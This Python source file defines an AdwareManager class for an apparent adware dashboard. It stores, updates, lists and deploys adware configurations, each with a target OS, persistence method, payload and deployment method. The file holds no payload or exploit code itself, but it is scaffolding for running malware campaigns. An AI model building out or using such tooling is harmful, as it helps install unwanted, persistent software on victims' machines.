import logging from typing import Dict, Any, List from adware_dashboard.core.payload_manager import PayloadManager from adware_dashboard.core.deployment_manager import DeploymentManager from adware_dashboard.models import Adware, Payload, DeploymentMethod class AdwareManager: def __init__(self, logger: logging.Logger, payload_manager: PayloadManager, deployment_manager: DeploymentManager): """ Initializes the AdwareManager with a logger, payload manager, and deployment manager. Args: logger (logging.Logger): The logger instance to use. payload_manager (PayloadManager): The payload manager instance. deployment_manager (DeploymentManager): The deployment manager instance. """ self.logger = logger self.payload_manager = payload_manager self.deployment_manager = deployment_manager def create_adware(self, name: str, description: str, target_os: str, persistence_method: str, payload_id: int, deployment_method_id: int, config: Dict[str, Any]) -> Adware: """ Creates a new adware configuration. Args: name (str): The name of the adware. description (str): A description of the adware. target_os (str): The target operating system. persistence_method (str): The persistence method. payload_id (int): The ID of the payload to use. deployment_method_id (int): The ID of the deployment method to use. config (Dict[str, Any]): Additional configuration parameters. Returns: Adware: The created adware object. """ try: adware = Adware( name=name, description=description, target_os=target_os, persistence_method=persistence_method, payload_id=payload_id, deployment_method_id=deployment_method_id, config=config ) adware.save() self.logger.info(f"Adware '{name}' created successfully.") return adware except ValueError as e: self.logger.error(f"Error creating adware: {str(e)}") raise except Exception as e: self.logger.error(f"Unexpected error creating adware: {str(e)}") raise def get_adware(self, adware_id: int) -> Adware: """ Retrieves an adware configuration by its ID. Args: adware_id (int): The ID of the adware to retrieve. Returns: Adware: The adware object, or None if not found. """ try: adware = Adware.get_or_none(Adware.id == adware_id) if not adware: self.logger.warning(f"Adware with ID {adware_id} not found.") return adware except Exception as e: self.logger.error(f"Unexpected error retrieving adware with ID {adware_id}: {str(e)}") return None def update_adware(self, adware_id: int, name: str = None, description: str = None, target_os: str = None, persistence_method: str = None, payload_id: int = None, deployment_method_id: int = None, config: Dict[str, Any] = None) -> Adware: """ Updates an existing adware configuration. Args: adware_id (int): The ID of the adware to update. name (str, optional): The new name of the adware. description (str, optional): The new description of the adware. target_os (str, optional): The new target operating system. persistence_method (str, optional): The new persistence method. payload_id (int, optional): The new ID of the payload to use. deployment_method_id (int, optional): The new ID of the deployment method to use. config (Dict[str, Any], optional): Additional configuration parameters. Returns: Adware: The updated adware object, or None if not found. """ try: adware = self.get_adware(adware_id) if not adware: return None if name: adware.name = name if description: adware.description = description if target_os: adware.target_os = target_os if persistence_method: adware.persistence_method = persistence_method if payload_id: adware.payload_id = payload_id if deployment_method_id: adware.deployment_method_id = deployment_method_id if config: adware.config = config adware.save() self.logger.info(f"Adware '{adware.name}' updated successfully.") return adware except ValueError as e: self.logger.error(f"Error updating adware: {str(e)}") raise except Exception as e: self.logger.error(f"Unexpected error updating adware: {str(e)}") raise def delete_adware(self, adware_id: int) -> bool: """ Deletes an adware configuration by its ID. Args: adware_id (int): The ID of the adware to delete. Returns: bool: True if the adware was deleted, False otherwise. """ try: adware = self.get_adware(adware_id) if not adware: return False adware.delete_instance() self.logger.info(f"Adware '{adware.name}' deleted successfully.") return True except Exception as e: self.logger.error(f"Unexpected error deleting adware with ID {adware_id}: {str(e)}") return False def list_adware(self) -> List[Adware]: """ Lists all adware configurations. Returns: List[Adware]: A list of all adware objects. """ try: adware_list = list(Adware.select()) return adware_list except Exception as e: self.logger.error(f"Unexpected error listing adware: {str(e)}") return [] def deploy_adware(self, adware_id: int) -> bool: """ Deploys an adware configuration. Args: adware_id (int): The ID of the adware to deploy. Returns: bool: True if the adware was deployed, False otherwise. """ try: adware = self.get_adware(adware_id) if not adware: return False self.deployment_manager.deploy(adware.deployment_method, adware.payload, adware.config) self.logger.info(f"Adware '{adware.name}' deployed successfully.") return True except Exception as e: self.logger.error(f"Error deploying adware '{adware.name}': {str(e)}") return False def integrate_with_gui(self, gui): """ Integrates the AdwareManager with the GUI. Args: gui: The GUI instance to integrate with. """ self.gui = gui self.logger.info("AdwareManager integrated with GUI")